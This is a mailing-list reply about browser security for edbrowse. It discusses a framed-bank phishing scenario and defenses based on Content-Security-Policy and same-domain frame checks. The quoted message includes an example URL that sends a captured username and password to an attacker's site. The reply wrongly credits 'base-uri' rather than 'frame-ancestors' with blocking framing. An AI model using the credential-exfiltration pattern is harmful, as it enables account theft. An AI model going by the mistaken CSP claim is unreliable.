Re: [Edbrowse-dev] frames and security

[Dominique Martinet <asmadeus@codewreck.org>]

Karl Dahlke wrote on Wed, Aug 09, 2017:
> So if I had an email server in China that spewed out millions of phishing emails each day, I could have those emails direct the user to a false site that was a blank window with a frame inside and that frame brings up Bank of America.com.
> This isn't a fake Bank of America site with copies of their logos and a perfect reproduction, no, it's their real site with the up to date images and even
> the personal picture that you selected, that goes with your cookie and your account, that comes up for security so you know it's the real site.
> But it's under my frame.
> You start to log in, you put in your user name and password, and before you can press submit,
> my javascript is dipping into the Bank of America objects every quarter second, specifically the values of the input fields of the form.
> Before you can log in my javascript captures your user name and password, and it sends them to me.
> How?
> By putting them as search on an http request to my website, which js can do.
> 
> https://my. china.site.com/boa?user=username&pass=password
> 
> Isn't that all entirely doable, on any browser, including (perhaps) edbrowse?
> I can only think of one defense against this.
> In a hierarchy of frames, parent points to the frame above you, the frame that contains you, and top points to the top window that started it all, or at least that's how I think it's suppose to work.
> So bank of America, and every site that deals with critical information, should check
> 
> if(top != window) {
> Replace the entire page with a warning that this page cannot be a frame in a larger page, and you are visiting a false site that is trying to jack your account information, and you should be more careful what you click on in your emails.
> }

I do not know how it's done technically, but some websites actually have
a hint for that: the Content-Security-Policy header.

For example, going to https://github.com will give you these (long block ahead)

Content-Security-Policy:
default-src 'none';
base-uri 'self';
block-all-mixed-content;
child-src render.githubusercontent.com;
connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com;
font-src assets-cdn.github.com;
form-action 'self' github.com gist.github.com;
frame-ancestors 'none';
img-src 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com;
media-src 'none';
script-src assets-cdn.github.com;
style-src 'unsafe-inline' assets-cdn.github.com

Basically this says the page will not render image, frames, etc from
sites outside of what specified them.
The important bit for frames is the "base-uri 'self'" - this says that
the page will not load unless the top frame (<base> element) is in the
same domain (this excludes subdomains)


It is documented there https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP



It is pretty complex, and some site will not give it anyway, so I think
that for now we should just do some simple anti-cross-scripting as you
suggest: refuse to load frames if the domain do not match.

I also think native_fetchHTTP should have some safe guards, I would just
refuse if the incoming_url site does not match the document site but
this might break things.
I think maybe we should prompt the user in that case, but that will only
work with JS1... We cannot have JS talk with the user as things stand
can we?

-- 
Dominique | Asmadeus